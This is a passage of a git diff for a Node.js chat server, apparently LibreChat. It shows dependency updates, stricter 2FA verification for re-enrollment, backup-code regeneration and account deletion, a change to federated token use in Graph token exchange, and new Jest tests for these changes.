- "multer": "^2.0.2",
+ "multer": "^2.1.1",
"nanoid": "^3.3.7",
"node-fetch": "^2.7.0",
"nodemailer": "^7.0.11",
@@ -102,14 +104,15 @@
"passport-jwt": "^4.0.1",
"passport-ldapauth": "^3.0.1",
"passport-local": "^1.0.0",
+ "pdfjs-dist": "^5.4.624",
"rate-limit-redis": "^4.2.0",
"sharp": "^0.33.5",
- "tiktoken": "^1.0.15",
"traverse": "^0.6.7",
"ua-parser-js": "^1.0.36",
- "undici": "^7.18.2",
+ "undici": "^7.24.1",
"winston": "^3.11.0",
"winston-daily-rotate-file": "^5.0.0",
+ "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
"zod": "^3.22.4"
},
"devDependencies": {
diff --git a/api/server/cleanup.js b/api/server/cleanup.js
index c482a2267e..364c02cd8a 100644
--- a/api/server/cleanup.js
+++ b/api/server/cleanup.js
@@ -35,7 +35,6 @@ const graphPropsToClean = [
'tools',
'signal',
'config',
- 'agentContexts',
'messages',
'contentData',
'stepKeyIds',
@@ -277,7 +276,16 @@ function disposeClient(client) {
if (client.run) {
if (client.run.Graph) {
- client.run.Graph.resetValues();
+ if (typeof client.run.Graph.clearHeavyState === 'function') {
+ client.run.Graph.clearHeavyState();
+ } else {
+ client.run.Graph.resetValues();
+ }
+
+ if (client.run.Graph.agentContexts) {
+ client.run.Graph.agentContexts.clear();
+ client.run.Graph.agentContexts = null;
+ }
graphPropsToClean.forEach((prop) => {
if (client.run.Graph[prop] !== undefined) {
diff --git a/api/server/controllers/AuthController.js b/api/server/controllers/AuthController.js
index 588391b535..13d024cd03 100644
--- a/api/server/controllers/AuthController.js
+++ b/api/server/controllers/AuthController.js
@@ -18,7 +18,7 @@ const {
findUser,
} = require('~/models');
const { getGraphApiToken } = require('~/server/services/GraphTokenService');
-const { getOpenIdConfig } = require('~/strategies');
+const { getOpenIdConfig, getOpenIdEmail } = require('~/strategies');
const registrationController = async (req, res) => {
try {
@@ -87,7 +87,7 @@ const refreshController = async (req, res) => {
const claims = tokenset.claims();
const { user, error, migration } = await findOpenIDUser({
findUser,
- email: claims.email,
+ email: getOpenIdEmail(claims),
openidId: claims.sub,
idOnTheSource: claims.oid,
strategyName: 'refreshController',
@@ -196,15 +196,6 @@ const graphTokenController = async (req, res) => {
});
}
- // Extract access token from Authorization header
- const authHeader = req.headers.authorization;
- if (!authHeader || !authHeader.startsWith('Bearer ')) {
- return res.status(401).json({
- message: 'Valid authorization token required',
- });
- }
-
- // Get scopes from query parameters
const scopes = req.query.scopes;
if (!scopes) {
return res.status(400).json({
@@ -212,7 +203,13 @@ const graphTokenController = async (req, res) => {
});
}
- const accessToken = authHeader.substring(7); // Remove 'Bearer ' prefix
+ const accessToken = req.user.federatedTokens?.access_token;
+ if (!accessToken) {
+ return res.status(401).json({
+ message: 'No federated access token available for token exchange',
+ });
+ }
+
const tokenResponse = await getGraphApiToken(req.user, accessToken, scopes);
res.json(tokenResponse);
diff --git a/api/server/controllers/AuthController.spec.js b/api/server/controllers/AuthController.spec.js
new file mode 100644
index 0000000000..fef670baa8
--- /dev/null
+++ b/api/server/controllers/AuthController.spec.js
@@ -0,0 +1,302 @@
+jest.mock('@librechat/data-schemas', () => ({
+ logger: { error: jest.fn(), debug: jest.fn(), warn: jest.fn(), info: jest.fn() },
+}));
+jest.mock('~/server/services/GraphTokenService', () => ({
+ getGraphApiToken: jest.fn(),
+}));
+jest.mock('~/server/services/AuthService', () => ({
+ requestPasswordReset: jest.fn(),
+ setOpenIDAuthTokens: jest.fn(),
+ resetPassword: jest.fn(),
+ setAuthTokens: jest.fn(),
+ registerUser: jest.fn(),
+}));
+jest.mock('~/strategies', () => ({ getOpenIdConfig: jest.fn(), getOpenIdEmail: jest.fn() }));
+jest.mock('openid-client', () => ({ refreshTokenGrant: jest.fn() }));
+jest.mock('~/models', () => ({
+ deleteAllUserSessions: jest.fn(),
+ getUserById: jest.fn(),
+ findSession: jest.fn(),
+ updateUser: jest.fn(),
+ findUser: jest.fn(),
+}));
+jest.mock('@librechat/api', () => ({
+ isEnabled: jest.fn(),
+ findOpenIDUser: jest.fn(),
+}));
+
+const openIdClient = require('openid-client');
+const { isEnabled, findOpenIDUser } = require('@librechat/api');
+const { graphTokenController, refreshController } = require('./AuthController');
+const { getGraphApiToken } = require('~/server/services/GraphTokenService');
+const { setOpenIDAuthTokens } = require('~/server/services/AuthService');
+const { getOpenIdConfig, getOpenIdEmail } = require('~/strategies');
+const { updateUser } = require('~/models');
+
+describe('graphTokenController', () => {
+ let req, res;
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ isEnabled.mockReturnValue(true);
+
+ req = {
+ user: {
+ openidId: 'oid-123',
+ provider: 'openid',
+ federatedTokens: {
+ access_token: 'federated-access-token',
+ id_token: 'federated-id-token',
+ },
+ },
+ headers: { authorization: 'Bearer app-jwt-which-is-id-token' },
+ query: { scopes: 'https://graph.microsoft.com/.default' },
+ };
+
+ res = {
+ status: jest.fn().mockReturnThis(),
+ json: jest.fn(),
+ };
+
+ getGraphApiToken.mockResolvedValue({
+ access_token: 'graph-access-token',
+ token_type: 'Bearer',
+ expires_in: 3600,
+ });
+ });
+
+ it('should pass federatedTokens.access_token as OBO assertion, not the auth header bearer token', async () => {
+ await graphTokenController(req, res);
+
+ expect(getGraphApiToken).toHaveBeenCalledWith(
+ req.user,
+ 'federated-access-token',
+ 'https://graph.microsoft.com/.default',
+ );
+ expect(getGraphApiToken).not.toHaveBeenCalledWith(
+ expect.anything(),
+ 'app-jwt-which-is-id-token',
+ expect.anything(),
+ );
+ });
+
+ it('should return the graph token response on success', async () => {
+ await graphTokenController(req, res);
+
+ expect(res.json).toHaveBeenCalledWith({
+ access_token: 'graph-access-token',
+ token_type: 'Bearer',
+ expires_in: 3600,
+ });
+ });
+
+ it('should return 403 when user is not authenticated via Entra ID', async () => {
+ req.user.provider = 'google';
+ req.user.openidId = undefined;
+
+ await graphTokenController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(403);
+ expect(getGraphApiToken).not.toHaveBeenCalled();
+ });
+
+ it('should return 403 when OPENID_REUSE_TOKENS is not enabled', async () => {
+ isEnabled.mockReturnValue(false);
+
+ await graphTokenController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(403);
+ expect(getGraphApiToken).not.toHaveBeenCalled();
+ });
+
+ it('should return 400 when scopes query param is missing', async () => {
+ req.query.scopes = undefined;
+
+ await graphTokenController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(400);
+ expect(getGraphApiToken).not.toHaveBeenCalled();
+ });
+
+ it('should return 401 when federatedTokens.access_token is missing', async () => {
+ req.user.federatedTokens = {};
+
+ await graphTokenController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(getGraphApiToken).not.toHaveBeenCalled();
+ });
+
+ it('should return 401 when federatedTokens is absent entirely', async () => {
+ req.user.federatedTokens = undefined;
+
+ await graphTokenController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(getGraphApiToken).not.toHaveBeenCalled();
+ });
+
+ it('should return 500 when getGraphApiToken throws', async () => {
+ getGraphApiToken.mockRejectedValue(new Error('OBO exchange failed'));
+
+ await graphTokenController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(500);
+ expect(res.json).toHaveBeenCalledWith({
+ message: 'Failed to obtain Microsoft Graph token',
+ });
+ });
+});
+
+describe('refreshController – OpenID path', () => {
+ const mockTokenset = {
+ claims: jest.fn(),
+ access_token: 'new-access',
+ id_token: 'new-id',
+ refresh_token: 'new-refresh',
+ };
+
+ const baseClaims = {
+ sub: 'oidc-sub-123',
+ oid: 'oid-456',
+ email: 'user@example.com',
+ exp: 9999999999,
+ };
+
+ let req, res;
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+
+ isEnabled.mockReturnValue(true);
+ getOpenIdConfig.mockReturnValue({ some: 'config' });
+ openIdClient.refreshTokenGrant.mockResolvedValue(mockTokenset);
+ mockTokenset.claims.mockReturnValue(baseClaims);
+ getOpenIdEmail.mockReturnValue(baseClaims.email);
+ setOpenIDAuthTokens.mockReturnValue('new-app-token');
+ updateUser.mockResolvedValue({});
+
+ req = {
+ headers: { cookie: 'token_provider=openid; refreshToken=stored-refresh' },
+ session: {},
+ };
+
+ res = {
+ status: jest.fn().mockReturnThis(),
+ send: jest.fn().mockReturnThis(),
+ redirect: jest.fn(),
+ };
+ });
+
+ it('should call getOpenIdEmail with token claims and use result for findOpenIDUser', async () => {
+ const user = {
+ _id: 'user-db-id',
+ email: baseClaims.email,
+ openidId: baseClaims.sub,
+ };
+ findOpenIDUser.mockResolvedValue({ user, error: null, migration: false });
+
+ await refreshController(req, res);
+
+ expect(getOpenIdEmail).toHaveBeenCalledWith(baseClaims);
+ expect(findOpenIDUser).toHaveBeenCalledWith(
+ expect.objectContaining({ email: baseClaims.email }),
+ );
+ expect(res.status).toHaveBeenCalledWith(200);
+ });
+
+ it('should use OPENID_EMAIL_CLAIM-resolved value when claim is present in token', async () => {
+ const claimsWithUpn = { ...baseClaims, upn: 'user@corp.example.com' };
+ mockTokenset.claims.mockReturnValue(claimsWithUpn);
+ getOpenIdEmail.mockReturnValue('user@corp.example.com');
+
+ const user = {
+ _id: 'user-db-id',
+ email: 'user@corp.example.com',
+ openidId: baseClaims.sub,
+ };
+ findOpenIDUser.mockResolvedValue({ user, error: null, migration: false });
+
+ await refreshController(req, res);
+
+ expect(getOpenIdEmail).toHaveBeenCalledWith(claimsWithUpn);
+ expect(findOpenIDUser).toHaveBeenCalledWith(
+ expect.objectContaining({ email: 'user@corp.example.com' }),
+ );
+ expect(res.status).toHaveBeenCalledWith(200);
+ });
+
+ it('should fall back to claims.email when configured claim is absent from token claims', async () => {
+ getOpenIdEmail.mockReturnValue(baseClaims.email);
+
+ const user = {
+ _id: 'user-db-id',
+ email: baseClaims.email,
+ openidId: baseClaims.sub,
+ };
+ findOpenIDUser.mockResolvedValue({ user, error: null, migration: false });
+
+ await refreshController(req, res);
+
+ expect(findOpenIDUser).toHaveBeenCalledWith(
+ expect.objectContaining({ email: baseClaims.email }),
+ );
+ });
+
+ it('should update openidId when migration is triggered on refresh', async () => {
+ const user = { _id: 'user-db-id', email: baseClaims.email, openidId: null };
+ findOpenIDUser.mockResolvedValue({ user, error: null, migration: true });
+
+ await refreshController(req, res);
+
+ expect(updateUser).toHaveBeenCalledWith(
+ 'user-db-id',
+ expect.objectContaining({ provider: 'openid', openidId: baseClaims.sub }),
+ );
+ expect(res.status).toHaveBeenCalledWith(200);
+ });
+
+ it('should return 401 and redirect to /login when findOpenIDUser returns no user', async () => {
+ findOpenIDUser.mockResolvedValue({ user: null, error: null, migration: false });
+
+ await refreshController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(res.redirect).toHaveBeenCalledWith('/login');
+ });
+
+ it('should return 401 and redirect when findOpenIDUser returns an error', async () => {
+ findOpenIDUser.mockResolvedValue({ user: null, error: 'AUTH_FAILED', migration: false });
+
+ await refreshController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(res.redirect).toHaveBeenCalledWith('/login');
+ });
+
+ it('should skip OpenID path when token_provider is not openid', async () => {
+ req.headers.cookie = 'token_provider=local; refreshToken=some-token';
+
+ await refreshController(req, res);
+
+ expect(openIdClient.refreshTokenGrant).not.toHaveBeenCalled();
+ });
+
+ it('should skip OpenID path when OPENID_REUSE_TOKENS is disabled', async () => {
+ isEnabled.mockReturnValue(false);
+
+ await refreshController(req, res);
+
+ expect(openIdClient.refreshTokenGrant).not.toHaveBeenCalled();
+ });
+
+ it('should return 200 with token not provided when refresh token is absent', async () => {
+ req.headers.cookie = 'token_provider=openid';
+ req.session = {};
+
+ await refreshController(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.send).toHaveBeenCalledWith('Refresh token not provided');
+ });
+});
diff --git a/api/server/controllers/TwoFactorController.js b/api/server/controllers/TwoFactorController.js
index fde5965261..18a0ee3f5a 100644
--- a/api/server/controllers/TwoFactorController.js
+++ b/api/server/controllers/TwoFactorController.js
@@ -1,5 +1,6 @@
const { encryptV3, logger } = require('@librechat/data-schemas');
const {
+ verifyOTPOrBackupCode,
generateBackupCodes,
generateTOTPSecret,
verifyBackupCode,
@@ -13,24 +14,42 @@ const safeAppTitle = (process.env.APP_TITLE || 'LibreChat').replace(/\s+/g, '');
/**
* Enable 2FA for the user by generating a new TOTP secret and backup codes.
* The secret is encrypted and stored, and 2FA is marked as disabled until confirmed.
+ * If 2FA is already enabled, requires OTP or backup code verification to re-enroll.
*/
const enable2FA = async (req, res) => {
try {
const userId = req.user.id;
+ const existingUser = await getUserById(
+ userId,
+ '+totpSecret +backupCodes _id twoFactorEnabled email',
+ );
+
+ if (existingUser && existingUser.twoFactorEnabled) {
+ const { token, backupCode } = req.body;
+ const result = await verifyOTPOrBackupCode({
+ user: existingUser,
+ token,
+ backupCode,
+ persistBackupUse: false,
+ });
+
+ if (!result.verified) {
+ const msg = result.message ?? 'TOTP token or backup code is required to re-enroll 2FA';
+ return res.status(result.status ?? 400).json({ message: msg });
+ }
+ }
+
const secret = generateTOTPSecret();
const { plainCodes, codeObjects } = await generateBackupCodes();
-
- // Encrypt the secret with v3 encryption before saving.
const encryptedSecret = encryptV3(secret);
- // Update the user record: store the secret & backup codes and set twoFactorEnabled to false.
const user = await updateUser(userId, {
- totpSecret: encryptedSecret,
- backupCodes: codeObjects,
- twoFactorEnabled: false,
+ pendingTotpSecret: encryptedSecret,
+ pendingBackupCodes: codeObjects,
});
- const otpauthUrl = `otpauth://totp/${safeAppTitle}:${user.email}?secret=${secret}&issuer=${safeAppTitle}`;
+ const email = user.email || (existingUser && existingUser.email) || '';
+ const otpauthUrl = `otpauth://totp/${safeAppTitle}:${email}?secret=${secret}&issuer=${safeAppTitle}`;
return res.status(200).json({ otpauthUrl, backupCodes: plainCodes });
} catch (err) {
@@ -46,13 +65,14 @@ const verify2FA = async (req, res) => {
try {
const userId = req.user.id;
const { token, backupCode } = req.body;
- const user = await getUserById(userId, '_id totpSecret backupCodes');
+ const user = await getUserById(userId, '+totpSecret +pendingTotpSecret +backupCodes _id');
+ const secretSource = user?.pendingTotpSecret ?? user?.totpSecret;
- if (!user || !user.totpSecret) {
+ if (!user || !secretSource) {
return res.status(400).json({ message: '2FA not initiated' });
}
- const secret = await getTOTPSecret(user.totpSecret);
+ const secret = await getTOTPSecret(secretSource);
let isVerified = false;
if (token) {
@@ -78,15 +98,28 @@ const confirm2FA = async (req, res) => {
try {
const userId = req.user.id;
const { token } = req.body;
- const user = await getUserById(userId, '_id totpSecret');
+ const user = await getUserById(
+ userId,
+ '+totpSecret +pendingTotpSecret +pendingBackupCodes _id',
+ );
+ const secretSource = user?.pendingTotpSecret ?? user?.totpSecret;
- if (!user || !user.totpSecret) {
+ if (!user || !secretSource) {
return res.status(400).json({ message: '2FA not initiated' });
}
- const secret = await getTOTPSecret(user.totpSecret);
+ const secret = await getTOTPSecret(secretSource);
if (await verifyTOTP(secret, token)) {
- await updateUser(userId, { twoFactorEnabled: true });
+ const update = {
+ totpSecret: user.pendingTotpSecret ?? user.totpSecret,
+ twoFactorEnabled: true,
+ pendingTotpSecret: null,
+ pendingBackupCodes: [],
+ };
+ if (user.pendingBackupCodes?.length) {
+ update.backupCodes = user.pendingBackupCodes;
+ }
+ await updateUser(userId, update);
return res.status(200).json();
}
return res.status(400).json({ message: 'Invalid token.' });
@@ -104,31 +137,27 @@ const disable2FA = async (req, res) => {
try {
const userId = req.user.id;
const { token, backupCode } = req.body;
- const user = await getUserById(userId, '_id totpSecret backupCodes');
+ const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled');
if (!user || !user.totpSecret) {
return res.status(400).json({ message: '2FA is not setup for this user' });
}
if (user.twoFactorEnabled) {
- const secret = await getTOTPSecret(user.totpSecret);
- let isVerified = false;
+ const result = await verifyOTPOrBackupCode({ user, token, backupCode });
- if (token) {
- isVerified = await verifyTOTP(secret, token);
- } else if (backupCode) {
- isVerified = await verifyBackupCode({ user, backupCode });
- } else {
- return res
- .status(400)
- .json({ message: 'Either token or backup code is required to disable 2FA' });
- }
-
- if (!isVerified) {
- return res.status(401).json({ message: 'Invalid token or backup code' });
+ if (!result.verified) {
+ const msg = result.message ?? 'Either token or backup code is required to disable 2FA';
+ return res.status(result.status ?? 400).json({ message: msg });
}
}
- await updateUser(userId, { totpSecret: null, backupCodes: [], twoFactorEnabled: false });
+ await updateUser(userId, {
+ totpSecret: null,
+ backupCodes: [],
+ twoFactorEnabled: false,
+ pendingTotpSecret: null,
+ pendingBackupCodes: [],
+ });
return res.status(200).json();
} catch (err) {
logger.error('[disable2FA]', err);
@@ -138,10 +167,28 @@ const disable2FA = async (req, res) => {
/**
* Regenerate backup codes for the user.
+ * Requires OTP or backup code verification if 2FA is already enabled.
*/
const regenerateBackupCodes = async (req, res) => {
try {
const userId = req.user.id;
+ const user = await getUserById(userId, '+totpSecret +backupCodes _id twoFactorEnabled');
+
+ if (!user) {
+ return res.status(404).json({ message: 'User not found' });
+ }
+
+ if (user.twoFactorEnabled) {
+ const { token, backupCode } = req.body;
+ const result = await verifyOTPOrBackupCode({ user, token, backupCode });
+
+ if (!result.verified) {
+ const msg =
+ result.message ?? 'TOTP token or backup code is required to regenerate backup codes';
+ return res.status(result.status ?? 400).json({ message: msg });
+ }
+ }
+
const { plainCodes, codeObjects } = await generateBackupCodes();
await updateUser(userId, { backupCodes: codeObjects });
return res.status(200).json({
diff --git a/api/server/controllers/UserController.js b/api/server/controllers/UserController.js
index 7a9dd8125e..6d5df0ac8d 100644
--- a/api/server/controllers/UserController.js
+++ b/api/server/controllers/UserController.js
@@ -14,6 +14,7 @@ const {
deleteMessages,
deletePresets,
deleteUserKey,
+ getUserById,
deleteConvos,
deleteFiles,
updateUser,
@@ -34,6 +35,7 @@ const {
User,
} = require('~/db/models');
const { updateUserPluginAuth, deleteUserPluginAuth } = require('~/server/services/PluginService');
+const { verifyOTPOrBackupCode } = require('~/server/services/twoFactorService');
const { verifyEmail, resendVerificationEmail } = require('~/server/services/AuthService');
const { getMCPManager, getFlowStateManager, getMCPServersRegistry } = require('~/config');
const { invalidateCachedTools } = require('~/server/services/Config/getCachedTools');
@@ -241,6 +243,22 @@ const deleteUserController = async (req, res) => {
const { user } = req;
try {
+ const existingUser = await getUserById(
+ user.id,
+ '+totpSecret +backupCodes _id twoFactorEnabled',
+ );
+ if (existingUser && existingUser.twoFactorEnabled) {
+ const { token, backupCode } = req.body;
+ const result = await verifyOTPOrBackupCode({ user: existingUser, token, backupCode });
+
+ if (!result.verified) {
+ const msg =
+ result.message ??
+ 'TOTP token or backup code is required to delete account with 2FA enabled';
+ return res.status(result.status ?? 400).json({ message: msg });
+ }
+ }
+
await deleteMessages({ user: user.id }); // delete user messages
await deleteAllUserSessions({ userId: user.id }); // delete user sessions
await Transaction.deleteMany({ user: user.id }); // delete user transactions
@@ -352,6 +370,7 @@ const maybeUninstallOAuthMCP = async (userId, pluginKey, appConfig) => {
serverConfig.oauth?.revocation_endpoint_auth_methods_supported ??
clientMetadata.revocation_endpoint_auth_methods_supported;
const oauthHeaders = serverConfig.oauth_headers ?? {};
+ const allowedDomains = getMCPServersRegistry().getAllowedDomains();
if (tokens?.access_token) {
try {
@@ -367,6 +386,7 @@ const maybeUninstallOAuthMCP = async (userId, pluginKey, appConfig) => {
revocationEndpointAuthMethodsSupported,
},
oauthHeaders,
+ allowedDomains,
);
} catch (error) {
logger.error(`Error revoking OAuth access token for ${serverName}:`, error);
@@ -387,6 +407,7 @@ const maybeUninstallOAuthMCP = async (userId, pluginKey, appConfig) => {
revocationEndpointAuthMethodsSupported,
},
oauthHeaders,
+ allowedDomains,
);
} catch (error) {
logger.error(`Error revoking OAuth refresh token for ${serverName}:`, error);
diff --git a/api/server/controllers/__tests__/TwoFactorController.spec.js b/api/server/controllers/__tests__/TwoFactorController.spec.js
new file mode 100644
index 0000000000..62531d94a1
--- /dev/null
+++ b/api/server/controllers/__tests__/TwoFactorController.spec.js
@@ -0,0 +1,264 @@
+const mockGetUserById = jest.fn();
+const mockUpdateUser = jest.fn();
+const mockVerifyOTPOrBackupCode = jest.fn();
+const mockGenerateTOTPSecret = jest.fn();
+const mockGenerateBackupCodes = jest.fn();
+const mockEncryptV3 = jest.fn();
+
+jest.mock('@librechat/data-schemas', () => ({
+ encryptV3: (...args) => mockEncryptV3(...args),
+ logger: { error: jest.fn() },
+}));
+
+jest.mock('~/server/services/twoFactorService', () => ({
+ verifyOTPOrBackupCode: (...args) => mockVerifyOTPOrBackupCode(...args),
+ generateBackupCodes: (...args) => mockGenerateBackupCodes(...args),
+ generateTOTPSecret: (...args) => mockGenerateTOTPSecret(...args),
+ verifyBackupCode: jest.fn(),
+ getTOTPSecret: jest.fn(),
+ verifyTOTP: jest.fn(),
+}));
+
+jest.mock('~/models', () => ({
+ getUserById: (...args) => mockGetUserById(...args),
+ updateUser: (...args) => mockUpdateUser(...args),
+}));
+
+const { enable2FA, regenerateBackupCodes } = require('~/server/controllers/TwoFactorController');
+
+function createRes() {
+ const res = {};
+ res.status = jest.fn().mockReturnValue(res);
+ res.json = jest.fn().mockReturnValue(res);
+ return res;
+}
+
+const PLAIN_CODES = ['code1', 'code2', 'code3'];
+const CODE_OBJECTS = [
+ { codeHash: 'h1', used: false, usedAt: null },
+ { codeHash: 'h2', used: false, usedAt: null },
+ { codeHash: 'h3', used: false, usedAt: null },
+];
+
+beforeEach(() => {
+ jest.clearAllMocks();
+ mockGenerateTOTPSecret.mockReturnValue('NEWSECRET');
+ mockGenerateBackupCodes.mockResolvedValue({ plainCodes: PLAIN_CODES, codeObjects: CODE_OBJECTS });
+ mockEncryptV3.mockReturnValue('encrypted-secret');
+});
+
+describe('enable2FA', () => {
+ it('allows first-time setup without token — writes to pending fields', async () => {
+ const req = { user: { id: 'user1' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({ _id: 'user1', twoFactorEnabled: false, email: 'a@b.com' });
+ mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
+
+ await enable2FA(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.json).toHaveBeenCalledWith(
+ expect.objectContaining({ otpauthUrl: expect.any(String), backupCodes: PLAIN_CODES }),
+ );
+ expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
+ const updateCall = mockUpdateUser.mock.calls[0][1];
+ expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret');
+ expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS);
+ expect(updateCall).not.toHaveProperty('twoFactorEnabled');
+ expect(updateCall).not.toHaveProperty('totpSecret');
+ expect(updateCall).not.toHaveProperty('backupCodes');
+ });
+
+ it('re-enrollment writes to pending fields, leaving live 2FA intact', async () => {
+ const req = { user: { id: 'user1' }, body: { token: '123456' } };
+ const res = createRes();
+ const existingUser = {
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ email: 'a@b.com',
+ };
+ mockGetUserById.mockResolvedValue(existingUser);
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+ mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
+
+ await enable2FA(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith({
+ user: existingUser,
+ token: '123456',
+ backupCode: undefined,
+ persistBackupUse: false,
+ });
+ expect(res.status).toHaveBeenCalledWith(200);
+ const updateCall = mockUpdateUser.mock.calls[0][1];
+ expect(updateCall).toHaveProperty('pendingTotpSecret', 'encrypted-secret');
+ expect(updateCall).toHaveProperty('pendingBackupCodes', CODE_OBJECTS);
+ expect(updateCall).not.toHaveProperty('twoFactorEnabled');
+ expect(updateCall).not.toHaveProperty('totpSecret');
+ });
+
+ it('allows re-enrollment with valid backup code (persistBackupUse: false)', async () => {
+ const req = { user: { id: 'user1' }, body: { backupCode: 'backup123' } };
+ const res = createRes();
+ const existingUser = {
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ email: 'a@b.com',
+ };
+ mockGetUserById.mockResolvedValue(existingUser);
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+ mockUpdateUser.mockResolvedValue({ email: 'a@b.com' });
+
+ await enable2FA(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalledWith(
+ expect.objectContaining({ persistBackupUse: false }),
+ );
+ expect(res.status).toHaveBeenCalledWith(200);
+ });
+
+ it('returns error when no token provided and 2FA is enabled', async () => {
+ const req = { user: { id: 'user1' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
+
+ await enable2FA(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(400);
+ expect(mockUpdateUser).not.toHaveBeenCalled();
+ });
+
+ it('returns 401 when invalid token provided and 2FA is enabled', async () => {
+ const req = { user: { id: 'user1' }, body: { token: 'wrong' } };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({
+ verified: false,
+ status: 401,
+ message: 'Invalid token or backup code',
+ });
+
+ await enable2FA(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
+ expect(mockUpdateUser).not.toHaveBeenCalled();
+ });
+});
+
+describe('regenerateBackupCodes', () => {
+ it('returns 404 when user not found', async () => {
+ const req = { user: { id: 'user1' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue(null);
+
+ await regenerateBackupCodes(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(404);
+ expect(res.json).toHaveBeenCalledWith({ message: 'User not found' });
+ });
+
+ it('requires OTP when 2FA is enabled', async () => {
+ const req = { user: { id: 'user1' }, body: { token: '123456' } };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+ mockUpdateUser.mockResolvedValue({});
+
+ await regenerateBackupCodes(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).toHaveBeenCalled();
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.json).toHaveBeenCalledWith({
+ backupCodes: PLAIN_CODES,
+ backupCodesHash: CODE_OBJECTS,
+ });
+ });
+
+ it('returns error when no token provided and 2FA is enabled', async () => {
+ const req = { user: { id: 'user1' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: false, status: 400 });
+
+ await regenerateBackupCodes(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(400);
+ });
+
+ it('returns 401 when invalid token provided and 2FA is enabled', async () => {
+ const req = { user: { id: 'user1' }, body: { token: 'wrong' } };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({
+ verified: false,
+ status: 401,
+ message: 'Invalid token or backup code',
+ });
+
+ await regenerateBackupCodes(req, res);
+
+ expect(res.status).toHaveBeenCalledWith(401);
+ expect(res.json).toHaveBeenCalledWith({ message: 'Invalid token or backup code' });
+ });
+
+ it('includes backupCodesHash in response', async () => {
+ const req = { user: { id: 'user1' }, body: { token: '123456' } };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: true,
+ totpSecret: 'enc-secret',
+ });
+ mockVerifyOTPOrBackupCode.mockResolvedValue({ verified: true });
+ mockUpdateUser.mockResolvedValue({});
+
+ await regenerateBackupCodes(req, res);
+
+ const responseBody = res.json.mock.calls[0][0];
+ expect(responseBody).toHaveProperty('backupCodesHash', CODE_OBJECTS);
+ expect(responseBody).toHaveProperty('backupCodes', PLAIN_CODES);
+ });
+
+ it('allows regeneration without token when 2FA is not enabled', async () => {
+ const req = { user: { id: 'user1' }, body: {} };
+ const res = createRes();
+ mockGetUserById.mockResolvedValue({
+ _id: 'user1',
+ twoFactorEnabled: false,
+ });
+ mockUpdateUser.mockResolvedValue({});
+
+ await regenerateBackupCodes(req, res);
+
+ expect(mockVerifyOTPOrBackupCode).not.toHaveBeenCalled();
+ expect(res.status).toHaveBeenCalledWith(200);
+ expect(res.json).toHaveBeenCalledWith({
+ backupCodes: PLAIN_CODES,
+ backupCodesHash: CODE_OBJECTS,
+ });
+ });
+});
diff --git a/api/server/controllers/__tests__/deleteUser.spec.js b/api/server/controllers/__tests__/deleteUser.spec.js
new file mode 100644
index 0000000000..d0f54a046f
--- /dev/null
+++ b/api/server/controllers/__tests__/deleteUser.spec.js
@@ -0,0 +1,302 @@
+const mockGetUserById = jest.fn();
+const mockDeleteMessages = jest.fn();
+const mockDeleteAllUserSessions = jest.fn();
+const mockDeleteUserById = jest.fn();
+const mockDeleteAllSharedLinks = jest.fn();
+const mockDeletePresets = jest.fn();
+const mockDeleteUserKey = jest.fn();
+const mockDeleteConvos = jest.fn();
+const mockDeleteFiles = jest.fn();
+const mockGetFiles = jest.fn();
